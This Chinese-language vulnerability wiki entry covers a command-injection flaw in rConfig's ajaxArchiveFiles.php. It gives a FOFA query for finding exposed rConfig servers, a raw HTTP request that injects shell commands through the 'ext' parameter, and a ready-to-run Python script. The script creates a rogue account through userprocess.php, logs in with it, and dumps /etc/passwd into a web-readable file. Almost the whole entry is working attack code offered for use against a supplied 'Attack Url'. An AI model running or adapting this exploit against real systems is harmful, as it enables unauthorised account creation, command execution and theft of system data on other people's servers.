RConfig_ajaxArchiveFiles.php_後台遠程命令執行漏洞

# RConfig ajaxArchiveFiles.php 後台遠程命令執行漏洞
==FOFA==

app="rConfig"

==Request==

GET /lib/ajaxHandlers/ajaxArchiveFiles.php?path=1&ext=;ls%3E../../pq.txt HTTP/1.1
Host: 
Cookie: cookname=pqtest; cookid=a13be657db5e18e453c66c564467b0f2; PHPSESSID=lr7j5r2beat1eprpklrhiorq71
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 2

請求以下地址驗證漏洞

http://xxx.xxx.xxx.xxx/pq.txt 

==POC==

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_toolbelt.multipart.encoder import MultipartEncoder

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: rConfig userprocess.php 任意用户创建漏洞                     \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/lib/crud/userprocess.php"
    referer = target_url + "useradmin.php"
    ran_number = random.randint(1, 999)
    origin = target_url
    multipart_data = MultipartEncoder(
        fields={
            'username': 'pqtest{}'.format(ran_number),
            'password': 'PQtest@{}'.format(ran_number),
            'passconf': 'PQtest@{}'.format(ran_number),
            'email': 'PQtest{}@test.com'.format(ran_number),
            'ulevelid': '9',
            'add': 'add',
            'editid': ''
        }
    )
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer,
               "Origin": origin}
    cookies = {'PHPSESSID': 'test'}
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
        if "error" not in response.text:
            username = 'pqtest{}'.format(ran_number)
            password = 'PQtest@{}'.format(ran_number)
            print("\033[36m[o] 成功创建账户 pqtest{}/PQtest@{} \033[0m".format(ran_number, ran_number))
            POC_2(target_url, username, password)
        else:
            print("\033[31m[x] 创建失败:{} \033[0m")
    except Exception as e:
        print("\033[31m[x] 请求失败:{} \033[0m".format(e))
        sys.exit(0)

def POC_2(target_url, username, password):
    print("\033[36m[o] 正在登陆账户..... \033[0m")
    vuln_url = target_url + "/lib/crud/userprocess.php"
    headers = {
        'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8",
        "Referer": target_url + "deviceConnTemplates.php",
        "Origin": target_url,
        "X-Requested-With": "XMLHttpRequest",
        "Accept-Language": "en-US,en;q=0.5"
    }
    data = {
        'user': username,
        'pass': password,
        'sublogin': '1'
    }
    try:
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
        print("\033[36m[o] 正在尝试执行 cat /etc/passwd.....\033[0m")
        with requests.Session() as s:
            p = s.post(target_url + '/lib/crud/userprocess.php', data=data, verify=False)
            if "Stephen Stack" in p.text:
                print("\033[31m[x] 登录失败 \033[0m")
            else:
                rce = s.get(target_url + '/lib/ajaxHandlers/ajaxArchiveFiles.php?path=1&ext=;cat%20/etc/passwd%3E../../pq.txt', verify=False,
                             headers=headers)
                if "success" in rce.text:
                    response = s.get(target_url + '/pq.txt', verify=False)
                    print("\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m".format(response.text))
                else:
                    print("\033[31m[x] 请求失败 \033[0m")
    except Exception as e:
        print("\033[31m[x] 请求失败:{} \033[0m".format(e))
        sys.exit(0)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    POC_1(target_url)

==參考==
http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/rConfig/rConfig%20ajaxArchiveFiles.php%20%E5%90%8E%E5%8F%B0%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html